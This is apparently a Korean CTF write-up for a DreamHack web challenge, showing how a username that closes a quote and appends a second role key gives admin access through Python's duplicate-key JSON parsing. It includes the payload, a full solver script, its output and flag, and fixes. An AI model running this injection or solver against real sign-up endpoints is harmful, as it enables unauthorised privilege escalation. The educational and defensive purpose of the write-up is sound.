์‹คํŒจ ์‘๋‹ต์ด ๊ฒฐ๊ณผ์ธ ๋„๊ตฌ์—์„œ๋Š” 4xx ๋ฅผ ์˜ˆ์™ธ๋กœ ๋‘๋ฉด ์•ˆ ๋œ๋‹ค. ๋Œ€์กฐ๊ตฐ์ด ์žˆ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋Œ€์ฒด๋กœ ์ด ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•œ๋‹ค.

๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

๋ธŒ๋ผ์šฐ์ €๋กœ

ํšŒ์›๊ฐ€์ž… ํผ์— ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด ๋ณธ๋‹ค. ํŠน๋ณ„ํ•œ ๋„๊ตฌ๊ฐ€ ํ•„์š” ์—†๋‹ค.

ํšŒ์›๊ฐ€์ž… ํผ์— ์ฃผ์ž… ๋ฌธ์ž์—ด์„ ์ฑ„์šด ํ™”๋ฉด โ€” username ์นธ์— hacker ๋’ค๋กœ ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role admin ์„ ๋ง๋ถ™์ธ ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค
ํšŒ์›๊ฐ€์ž… ํผ์— ์ฃผ์ž… ๋ฌธ์ž์—ด์„ ์ฑ„์šด ํ™”๋ฉด โ€” username ์นธ์— hacker ๋’ค๋กœ ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role admin ์„ ๋ง๋ถ™์ธ ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค

๊ฐ€์ž…์ด ๋๋‚˜๋ฉด ํ‘œ์‹œ ์ด๋ฆ„์€ shotuser ๋‹ค. ๊ทธ ์ด๋ฆ„์œผ๋กœ ๋กœ๊ทธ์ธํ•œ๋‹ค.

๋กœ๊ทธ์ธ ํผ์— ์ฃผ์ž… ์—†๋Š” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์„ ์ฑ„์šด ํ™”๋ฉด โ€” ๊ฐ€์ž… ๋•Œ๋Š” ์ฃผ์ž… ๋ฌธ์ž์—ด์„ ์ผ์ง€๋งŒ ๋กœ๊ทธ์ธ์€ ํŒŒ์‹ฑ๋œ ๋’ค์˜ ์ด๋ฆ„์œผ๋กœ ํ•œ๋‹ค
๋กœ๊ทธ์ธ ํผ์— ์ฃผ์ž… ์—†๋Š” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์„ ์ฑ„์šด ํ™”๋ฉด โ€” ๊ฐ€์ž… ๋•Œ๋Š” ์ฃผ์ž… ๋ฌธ์ž์—ด์„ ์ผ์ง€๋งŒ ๋กœ๊ทธ์ธ์€ ํŒŒ์‹ฑ๋œ ๋’ค์˜ ์ด๋ฆ„์œผ๋กœ ํ•œ๋‹ค

๋กœ๊ทธ์ธํ•˜๋ฉด ๋ฉ”์ธ์ด ์šฐ๋ฆฌ ๊ถŒํ•œ์„ ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ ์ค€๋‹ค.

๋กœ๊ทธ์ธ ํ›„ ๋ฉ”์ธ ํ™”๋ฉด โ€” username ์€ shotuser ์ธ๋ฐ role ์ด admin ์œผ๋กœ ํ‘œ์‹œ๋ผ ์žˆ์–ด ๊ถŒํ•œ ์ƒ์Šน์ด ์ด๋ค„์กŒ์Œ์ด ๋“œ๋Ÿฌ๋‚œ๋‹ค
๋กœ๊ทธ์ธ ํ›„ ๋ฉ”์ธ ํ™”๋ฉด โ€” username ์€ shotuser ์ธ๋ฐ role ์ด admin ์œผ๋กœ ํ‘œ์‹œ๋ผ ์žˆ์–ด ๊ถŒํ•œ ์ƒ์Šน์ด ์ด๋ค„์กŒ์Œ์ด ๋“œ๋Ÿฌ๋‚œ๋‹ค

role: admin. /me ๋กœ ์ €์žฅ๋œ ๊ฐ์ฒด๋ฅผ ์ง์ ‘ ํ™•์ธํ•œ๋‹ค.

me ์—”๋“œํฌ์ธํŠธ ์‘๋‹ต โ€” ์ €์žฅ๋œ ์‚ฌ์šฉ์ž ๊ฐ์ฒด์— role ์ด admin ์ด๊ณ  username ์€ shotuser ์ด๋ฉฐ uid ๋Š” ์ƒ์„ฑ๋œ uuid ๋‹ค
me ์—”๋“œํฌ์ธํŠธ ์‘๋‹ต โ€” ์ €์žฅ๋œ ์‚ฌ์šฉ์ž ๊ฐ์ฒด์— role ์ด admin ์ด๊ณ  username ์€ shotuser ์ด๋ฉฐ uid ๋Š” ์ƒ์„ฑ๋œ uuid ๋‹ค

๊ทธ๋ฆฌ๊ณ  /flag.

flag ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด โ€” ์ฃผ์†Œ์ฐฝ์— 22222 ํฌํŠธ์˜ flag ๊ฒฝ๋กœ๊ฐ€ ๋ณด์ด๊ณ , role ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•ด 403 ๋Œ€์‹  200 ์œผ๋กœ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด JSON ํ•œ ์ค„๋กœ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜๋œ๋‹ค
flag ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด โ€” ์ฃผ์†Œ์ฐฝ์— 22222 ํฌํŠธ์˜ flag ๊ฒฝ๋กœ๊ฐ€ ๋ณด์ด๊ณ , role ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•ด 403 ๋Œ€์‹  200 ์œผ๋กœ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด JSON ํ•œ ์ค„๋กœ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜๋œ๋‹ค

๋Œ€์กฐ๊ตฐ

์ฃผ์ž… ์—†์ด ํ‰๋ฒ”ํ•˜๊ฒŒ ๊ฐ€์ž…ํ•œ ๊ณ„์ •์€ ์–ด๋–ป๊ฒŒ ๋˜๋Š”์ง€๋„ ๊ฐ™์ด ํ™•์ธํ•ด ๋‘”๋‹ค.

์ฃผ์ž… ์—†์ด ํ‰๋ฒ”ํ•˜๊ฒŒ ๊ฐ€์ž…ํ•œ ๊ณ„์ •์˜ me ์‘๋‹ต โ€” ๊ฐ™์€ uuid ํ˜•ํƒœ uid ๋ฅผ ๋ฐ›์•˜์ง€๋งŒ role ์ด user ๋กœ ๋‚จ์•„ ์žˆ์–ด, ์•ž์„œ ์ฃผ์ž…์œผ๋กœ ๋งŒ๋“  admin ๊ณ„์ •๊ณผ ์ •ํ™•ํžˆ ๋Œ€๋น„๋œ๋‹ค
์ฃผ์ž… ์—†์ด ํ‰๋ฒ”ํ•˜๊ฒŒ ๊ฐ€์ž…ํ•œ ๊ณ„์ •์˜ me ์‘๋‹ต โ€” ๊ฐ™์€ uuid ํ˜•ํƒœ uid ๋ฅผ ๋ฐ›์•˜์ง€๋งŒ role ์ด user ๋กœ ๋‚จ์•„ ์žˆ์–ด, ์•ž์„œ ์ฃผ์ž…์œผ๋กœ ๋งŒ๋“  admin ๊ณ„์ •๊ณผ ์ •ํ™•ํžˆ ๋Œ€๋น„๋œ๋‹ค
์ฃผ์ž… ์—†์ด ๊ฐ€์ž…ํ•œ ๊ณ„์ •์œผ๋กœ flag ์— ์ ‘๊ทผํ•œ ํ™”๋ฉด โ€” ๊ฐ™์€ ๊ฒฝ๋กœ์ธ๋ฐ ์ด๋ฒˆ์—๋Š” 403 ๊ณผ ํ•จ๊ป˜ forbidden ๋งŒ ๋Œ์•„์™€, ๊ถŒํ•œ ๊ฒ€์‚ฌ ์ž์ฒด๋Š” ์ •์ƒ ๋™์ž‘ํ•œ๋‹ค๋Š” ๊ฒŒ ๋“œ๋Ÿฌ๋‚œ๋‹ค
์ฃผ์ž… ์—†์ด ๊ฐ€์ž…ํ•œ ๊ณ„์ •์œผ๋กœ flag ์— ์ ‘๊ทผํ•œ ํ™”๋ฉด โ€” ๊ฐ™์€ ๊ฒฝ๋กœ์ธ๋ฐ ์ด๋ฒˆ์—๋Š” 403 ๊ณผ ํ•จ๊ป˜ forbidden ๋งŒ ๋Œ์•„์™€, ๊ถŒํ•œ ๊ฒ€์‚ฌ ์ž์ฒด๋Š” ์ •์ƒ ๋™์ž‘ํ•œ๋‹ค๋Š” ๊ฒŒ ๋“œ๋Ÿฌ๋‚œ๋‹ค

role: user โ†’ 403 forbidden. ๊ฒ€์‚ฌ ์ž์ฒด๋Š” ์ œ๋Œ€๋กœ ๋™์ž‘ํ•œ๋‹ค. ๋ฌด๋„ˆ์ง„ ๊ฑด ๊ทธ ๊ฒ€์‚ฌ๊ฐ€ ๋ณด๋Š” ๊ฐ’์„ ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.




๐Ÿš€ Full Exploit

#!/usr/bin/env python3
"""{"role": "admin"} (DreamHack, Silver 4 / web) โ€” solver
 
์ทจ์•ฝ์ :
  /register ๊ฐ€ username ์„ ์ด์Šค์ผ€์ดํ”„ ์—†์ด JSON **๋ฌธ์ž์—ด ์•ˆ์—** ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค.
 
      raw_user = f'{{"role":"user","username":"{username}","pw":"{pw}","uid":"{uid}"}}'
      user = json.loads(raw_user)
 
  ๊ทธ๋ž˜์„œ username ์— ๋”ฐ์˜ดํ‘œ๋ฅผ ํ•˜๋‚˜ ๋‹ซ๊ณ  `,"role":"admin"` ์„ ๋ง๋ถ™์ด๋ฉด
  ๊ฐ™์€ ๊ฐ์ฒด์— role ํ‚ค๊ฐ€ ๋‘ ๋ฒˆ ๋“ค์–ด๊ฐ„๋‹ค.
 
      {"role":"user","username":"hacker","role":"admin","pw":"...","uid":"..."}
 
  โ˜… ํŒŒ์ด์ฌ json ์€ ์ค‘๋ณต ํ‚ค์—์„œ **๋‚˜์ค‘ ๊ฐ’์„ ์ทจํ•œ๋‹ค**. role ์ด admin ์œผ๋กœ ๋ฎ์ธ๋‹ค.
  /flag ๋Š” user.get("role") == "admin" ๋งŒ ๋ณด๋ฏ€๋กœ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•œ๋‹ค.
 
  ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•œ ๊ทธ๋Œ€๋กœ ๋‚จ์œผ๋‹ˆ ๋กœ๊ทธ์ธ๋„ ์ •์ƒ์ ์œผ๋กœ ๋œ๋‹ค.
 
์‚ฌ์šฉ:
  python3 solve.py http://host1.dreamhack.games:10000
"""
import argparse
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
import http.cookiejar
 
 
def build_username(name: str) -> str:
    """๊ฒ€์‚ฌ๋Š” ํ†ต๊ณผํ•˜๊ณ  role ๋งŒ ๋ฎ์–ด์“ฐ๋Š” username ์„ ๋งŒ๋“ ๋‹ค."""
    return f'{name}","role":"admin'
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("target", help="๋ฌธ์ œ ์„œ๋ฒ„ URL (์˜ˆ: http://host1.dreamhack.games:10000)")
    ap.add_argument("--name", default="hacker", help="๊ฐ€์ž…ํ•  ์ด๋ฆ„")
    ap.add_argument("--password", default="pw1234")
    ap.add_argument("--plain", action="store_true",
                    help="์ฃผ์ž… ์—†์ด ๊ทธ๋ƒฅ ๊ฐ€์ž…ํ•œ๋‹ค (๋Œ€์กฐ๊ตฐ โ€” 403 ์ด ๋‚˜์™€์•ผ ์ •์ƒ)")
    a = ap.parse_args()
 
    base = a.target.rstrip("/")
    jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
 
    def post(path: str, data: dict) -> str:
        req = urllib.request.Request(base + path,
                                     data=urllib.parse.urlencode(data).encode())
        with opener.open(req, timeout=30) as r:
            return r.read().decode(errors="replace")
 
    def get(path: str) -> str:
        """403/401 ๋„ ๋ณธ๋ฌธ์„ ๋ด์•ผ ํ•˜๋ฏ€๋กœ HTTPError ๋ฅผ ์‚ผํ‚ค๊ณ  ์‘๋‹ต์„ ๋Œ๋ ค์ค€๋‹ค."""
        try:
            with opener.open(base + path, timeout=30) as r:
                return r.read().decode(errors="replace")
        except urllib.error.HTTPError as e:
            return f"[HTTP {e.code}] " + e.read().decode(errors="replace")
 
    payload = a.name if a.plain else build_username(a.name)
    print(f"[*] ๋ณด๋‚ผ username : {payload!r}" + ("   (๋Œ€์กฐ๊ตฐ โ€” ์ฃผ์ž… ์—†์Œ)" if a.plain else ""))
    print("[*] ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“ค JSON :")
    print(f'    {{"role":"user","username":"{payload}","pw":"<sha256>","uid":"<uuid>"}}')
 
    body = post("/register", {"username": payload, "password": a.password})
    if "error" in body and "์ด๋ฏธ ์กด์žฌ" in body:
        print("[-] ์ด๋ฏธ ์กด์žฌํ•˜๋Š” username โ€” --name ์„ ๋ฐ”๊ฟ”๋ผ")
        return 1
    print(f"[+] ๊ฐ€์ž… ์™„๋ฃŒ (ํ‘œ์‹œ ์ด๋ฆ„์€ {a.name!r})")
 
    post("/login", {"username": a.name, "password": a.password})
    me = get("/me")
    print(f"[*] /me โ†’ {me.strip()}")
    is_admin = '"role": "admin"' in me or '"role":"admin"' in me
    if a.plain:
        print(f"[*] ๋Œ€์กฐ๊ตฐ role admin? {is_admin}")
    elif not is_admin:
        print("[-] role ์ด admin ์ด ์•„๋‹ˆ๋‹ค")
        return 1
    else:
        print("[+] role ์ด admin ์œผ๋กœ ๋ฎ์˜€๋‹ค")
 
    out = get("/flag")
    print(f"[*] /flag โ†’ {out.strip()}")
    m = re.search(r"DH\{[^}]*\}", out)
    if m:
        print(f"[+] FLAG: {m.group(0)}")
        return 0
    print("[-] flag ๋ฅผ ๋ชป ๋ฐ›์•˜๋‹ค")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

--plain ์€ ์ฃผ์ž… ์—†์ด ๊ฐ™์€ ํ๋ฆ„์„ ๋„๋Š” ๋Œ€์กฐ๊ตฐ์ด๋‹ค. ์ต์Šค๊ฐ€ "์šฐ์—ฐํžˆ ๋˜๋Š” ๊ฒƒ"์ด ์•„๋‹ˆ๋ผ ์ฃผ์ž… ๋•Œ๋ฌธ์— ๋˜๋Š” ๊ฒƒ์ž„์„ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ณด์ด๋ ค๊ณ  ๋„ฃ์—ˆ๋‹ค.

python3 solve.py http://host3.dreamhack.games:22222 --name shotrun --password pw1234
๋ผ์ด๋ธŒ ์„œ๋ฒ„์— solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์ฃผ์ž…ํ•  username ๊ณผ ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“ค JSON ์„ ์ฐ์€ ๋’ค ๊ฐ€์ž…๊ณผ ๋กœ๊ทธ์ธ์„ ๊ฑฐ์ณ me ์˜ role ์ด admin ์ž„์„ ํ™•์ธํ•˜๊ณ  flag ๋ฅผ ๋ฐ›์•„ ์˜จ๋‹ค
๋ผ์ด๋ธŒ ์„œ๋ฒ„์— solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์ฃผ์ž…ํ•  username ๊ณผ ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“ค JSON ์„ ์ฐ์€ ๋’ค ๊ฐ€์ž…๊ณผ ๋กœ๊ทธ์ธ์„ ๊ฑฐ์ณ me ์˜ role ์ด admin ์ž„์„ ํ™•์ธํ•˜๊ณ  flag ๋ฅผ ๋ฐ›์•„ ์˜จ๋‹ค
DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}

ํ”Œ๋ž˜๊ทธ๊ฐ€ base64 ์ฒ˜๋Ÿผ ์ƒ๊ฒจ์„œ ๋””์ฝ”๋“œํ•ด ๋ณด๋ฉด why_did_you_decode_this ๋‹ค. ์ถœ์ œ์ž์˜ ๋†๋‹ด์ด๊ณ , ์ œ์ถœ์€ ์›๋ฌธ ๊ทธ๋Œ€๋กœ ํ•œ๋‹ค.



๐Ÿงช ์žฌํ˜„

๋ผ์ด๋ธŒ์— ๋‚˜๊ฐ€๊ธฐ ์ „์— ๊ฐ™์€ ๊ฑธ ์ „๋ถ€ ๋กœ์ปฌ์—์„œ ๋Œ๋ ธ๋‹ค. Dockerfile ์ด ๊ทธ๋Œ€๋กœ ์žˆ์œผ๋‹ˆ ๋ฌธ์ œ ํ™˜๊ฒฝ์„ ํ†ต์งธ๋กœ ์žฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค.

./reproduce.sh
reproduce.sh ๋กœ์ปฌ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์ค‘๋ณต ํ‚ค ๋™์ž‘์„ ๋จผ์ € ํ™•์ธํ•˜๊ณ  ๋ฐฐํฌ๋ณธ์œผ๋กœ ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•œ ๋’ค, ๋Œ€์กฐ๊ตฐ์€ 403 ์„ ๋ฐ›๊ณ  ์ฃผ์ž…์€ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฐ›์•„ ๊ธฐ๋ฒ• PASS ๋กœ ๋๋‚œ๋‹ค
reproduce.sh ๋กœ์ปฌ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์ค‘๋ณต ํ‚ค ๋™์ž‘์„ ๋จผ์ € ํ™•์ธํ•˜๊ณ  ๋ฐฐํฌ๋ณธ์œผ๋กœ ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•œ ๋’ค, ๋Œ€์กฐ๊ตฐ์€ 403 ์„ ๋ฐ›๊ณ  ์ฃผ์ž…์€ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฐ›์•„ ๊ธฐ๋ฒ• PASS ๋กœ ๋๋‚œ๋‹ค

์ธ์ž๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ ๋ชจ๋“œ๋กœ ๋ˆ๋‹ค.

./reproduce.sh http://host3.dreamhack.games:22222

ํŒ์ •์€ ์ด๋ ‡๊ฒŒ ์ฝ๋Š”๋‹ค.

ํ™”๋ฉด๋œป๋Œ€์ฒ˜
ํšŒ์›๊ฐ€์ž…์— ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค์ฃผ์ž…์ด JSON ๋ฌธ๋ฒ•์„ ๊นจ๋œจ๋ฆผ๋”ฐ์˜ดํ‘œ ๊ฐœ์ˆ˜ ํ™•์ธ โ€” ์—ฌ๋Š” ๊ฒƒ ์—†์ด ๋‹ซ๊ธฐ๋งŒ
์ด๋ฏธ ์กด์žฌํ•˜๋Š” username๊ฐ™์€ ์ด๋ฆ„์„ ์ด๋ฏธ ์ผ๋‹ค--name ์„ ๋ฐ”๊พผ๋‹ค
๋Œ€์กฐ๊ตฐ์ด 403 ์ด ์•„๋‹˜๋ฐฐํฌ๋ณธ์ด ์•„๋‹Œ ๊ฑธ ๋„์› ๋‹คextracted/app.py ๋กœ ๋นŒ๋“œํ–ˆ๋Š”์ง€ ํ™•์ธ
/me ์˜ role ์ด user์ฃผ์ž…์ด ๋ฌธ์ž์—ด๋กœ๋งŒ ๋“ค์–ด๊ฐํผ ์ธ์ฝ”๋”ฉ์—์„œ " ๊ฐ€ ์‚ด์•„ ์žˆ๋Š”์ง€ ํ™•์ธ
/flag ๊ฐ€ 401์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ์•ˆ ๋ถ™์Œ์ฟ ํ‚ค ์ฒ˜๋ฆฌ๊ธฐ(HTTPCookieProcessor) ํ™•์ธ

๋กœ์ปฌ ๋ชจ๋“œ๊ฐ€ ์“ฐ๋Š” ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋Š” DH{local_dummy_role_admin} ์ด๋‹ค. ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋Š” ๋ฌธ์ œ ์„œ๋ฒ„ ํ™˜๊ฒฝ๋ณ€์ˆ˜์—๋งŒ ์žˆ์œผ๋ฏ€๋กœ ์˜คํ”„๋ผ์ธ์œผ๋กœ๋Š” ์–ป์„ ์ˆ˜ ์—†๋‹ค.

ํ•„์š”ํ•œ ๊ฑด docker ์™€ python3 ๋‘˜์ด๋‹ค.




๐Ÿ“ ๊ฒฐ๋ก 

JSON ์€ ์ง๋ ฌํ™” ํ•จ์ˆ˜๋กœ ๋งŒ๋“ ๋‹ค. ๋ฌธ์ž์—ด๋กœ ์ด์–ด ๋ถ™์ด์ง€ ์•Š๋Š”๋‹ค.

json.dumps ๋ฅผ ์ผ์œผ๋ฉด ์ด ๋ฌธ์ œ๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ฐ’ ์•ˆ์˜ ๋”ฐ์˜ดํ‘œ๊ฐ€ \" ๋กœ ์ด์Šค์ผ€์ดํ”„๋ผ ๊ตฌ์กฐ๊ฐ€ ๊นจ์ง€์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. f-string ์œผ๋กœ ์กฐ๋ฆฝํ•˜๋Š” ์ˆœ๊ฐ„ ๊ฐ’์ด ๋ฌธ๋ฒ•์ด ๋œ๋‹ค โ€” SQL ์„ ๋ฌธ์ž์—ด๋กœ ์ด์–ด ๋ถ™์ผ ๋•Œ์™€ ์ •ํ™•ํžˆ ๊ฐ™์€ ์‹ค์ˆ˜๋‹ค.

user = {"role": "user", "username": username, "pw": pw, "uid": uid}   # ์ด๊ฑฐ๋ฉด ๋

ํ‚ค ์ˆœ์„œ๋กœ ๊ถŒํ•œ์„ ๊ฐ•์ œํ•˜๋ ค๋Š” ์‹œ๋„๋Š” ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค.

"role":"user" ๋ฅผ ๋งจ ์•ž์— ๋ฐ•์•„ ๋‘” ๊ฑด "๊ฐ€์ž…์€ ๋ฌด์กฐ๊ฑด ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž" ๋ฅผ ๋ชป๋ฐ•์œผ๋ ค๋˜ ์˜๋„๋กœ ๋ณด์ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ JSON ์€ ์ค‘๋ณต ํ‚ค๋ฅผ ์—๋Ÿฌ๋กœ ๋งŒ๋“ค์ง€ ์•Š๊ณ , ํŒŒ์ด์ฌ์€ ๋‚˜์ค‘ ๊ฐ’์„ ๋‚จ๊ธด๋‹ค. ์•ž์— ๋‘๋Š” ๊ฒƒ์œผ๋กœ๋Š” ์•„๋ฌด๊ฒƒ๋„ ๋ณด์žฅ๋˜์ง€ ์•Š๋Š”๋‹ค.

ํŒŒ์„œ๋งˆ๋‹ค ๋‹ค๋ฅด๋‹ค๋Š” ๊ฒƒ๋„ ์•Œ์•„ ๋‘˜ ๋งŒํ•˜๋‹ค. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ JSON.parse ๋„ ๋‚˜์ค‘ ๊ฐ’์„ ๋‚จ๊ธฐ์ง€๋งŒ, ์–ด๋–ค ๊ตฌํ˜„์€ ์ฒซ ๊ฐ’์„ ๋‚จ๊ธฐ๊ณ  ์–ด๋–ค ๊ตฌํ˜„์€ ์—๋Ÿฌ๋ฅผ ๋‚ธ๋‹ค. ๊ทธ ์ฐจ์ด ์ž์ฒด๊ฐ€ ์ทจ์•ฝ์ ์ด ๋˜๊ธฐ๋„ ํ•œ๋‹ค โ€” ๊ฒ€์‚ฌํ•˜๋Š” ํŒŒ์„œ์™€ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋ฉด ๊ฐ’์ด ๊ฐˆ๋ฆฐ๋‹ค.

๊ถŒํ•œ์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋‹ฟ๋Š” ์ž๋ฆฌ์— ๋‘์ง€ ์•Š๋Š”๋‹ค.

์ด ์•ฑ์€ role ์„ ์‚ฌ์šฉ์ž ๊ฐ์ฒด ์•ˆ์— ๋„ฃ์–ด ๋‘๊ณ  /flag ์—์„œ ๊ทธ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋ฏฟ๋Š”๋‹ค. ์ž…๋ ฅ ์ฒ˜๋ฆฌ์— ๊ตฌ๋ฉ์ด ํ•˜๋‚˜๋ผ๋„ ๋‚˜๋ฉด ๊ถŒํ•œ์ด ํ†ต์งธ๋กœ ๋„˜์–ด๊ฐ€๋Š” ๊ตฌ์กฐ๋‹ค. ์—ญํ• ์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋งŒ๋“  ๋ฐ์ดํ„ฐ์™€ ๋‹ค๋ฅธ ์ž๋ฆฌ์— ๋‘๊ฑฐ๋‚˜, ์ตœ์†Œํ•œ ์ €์žฅ ์งํ›„์— ์„œ๋ฒ„๊ฐ€ ๋‹ค์‹œ ๊ฐ•์ œํ•ด์•ผ ํ•œ๋‹ค.

user = json.loads(raw_user)
user["role"] = "user"        # ํŒŒ์‹ฑ ๋’ค์— ํ•œ ๋ฒˆ ๋” ๋ชป๋ฐ•์œผ๋ฉด ์ด ๊ณต๊ฒฉ์€ ๋ง‰ํžŒ๋‹ค

๊ทธ๋ฆฌ๊ณ  ๋Œ€์กฐ๊ตฐ์„ ๊ฐ™์ด ๋Œ๋ฆฌ๋ฉด ์„ค๋ช…์ด ์งง์•„์ง„๋‹ค.

--plain ์œผ๋กœ ์ฃผ์ž… ์—†๋Š” ํ๋ฆ„์„ ๋‚˜๋ž€ํžˆ ๋Œ๋ ค ๋ณด๋ฉด 403 ์ด ๋‚˜์˜จ๋‹ค. ์ต์Šค๊ฐ€ ํ†ตํ•˜๋Š” ์ด์œ ๊ฐ€ "์ฃผ์ž… ๋•Œ๋ฌธ"์ด๋ผ๋Š” ๊ฒŒ ํ™”๋ฉด ๋‘ ์žฅ์œผ๋กœ ๋๋‚œ๋‹ค. ์ทจ์•ฝ์ ์„ ๋ณด๊ณ ํ•  ๋•Œ๋„ ์ด ํ•œ ์Œ์ด ์žˆ์œผ๋ฉด ์„ค๋“์— ๋“œ๋Š” ๋ง์ด ํฌ๊ฒŒ ์ค„์–ด๋“ ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‡ Gold 3] ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋งžํžˆ๋Š” ๋Œ€์‹  ๋น„๊ต ๋Œ€์ƒ์„ ๋ฐ”๊พผ๋‹ค โ€” DreamHack Proton Memo ํ’€์ด
blog

[๐Ÿฅ‡ Gold 3] ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋งžํžˆ๋Š” ๋Œ€์‹  ๋น„๊ต ๋Œ€์ƒ์„ ๋ฐ”๊พผ๋‹ค โ€” DreamHack Proton Memo ํ’€์ด

๋ฉ”๋ชจ ํŽธ์ง‘ ๊ธฐ๋Šฅ์ด ์ ์œผ๋กœ ๊ตฌ๋ถ„๋œ ์†์„ฑ ๊ฒฝ๋กœ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„ ์žฌ๊ท€ setattr ์„ ๋ˆ๋‹ค. ๋‚ด ๋ฉ”๋ชจ ๊ฐ์ฒด์—์„œ ์ถœ๋ฐœํ•ด ํด๋ž˜์Šค ์†์„ฑ์ธ Memo.collections ๋ฅผ ํƒ€๊ณ  ๋“ค์–ด๊ฐ€๋ฉด ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“ค์–ด ๋‘” secret ๋ฉ”๋ชจ์˜ Password ๊ฐ์ฒด๊นŒ์ง€ ๋‹ฟ๋Š”๋‹ค. 20๋ฐ”์ดํŠธ ๋‚œ์ˆ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋งžํžˆ๋Š” ๋Œ€์‹ , ๋น„๊ต์— ์“ฐ์ด๋Š” sha256 ํ•ด์‹œ ํ•œ ์ค„์„ ๋‚ด๊ฐ€ ์•„๋Š” ๊ฐ’์œผ๋กœ ๋ฎ์–ด flag ๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-08-13#dreamhack +5
[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด

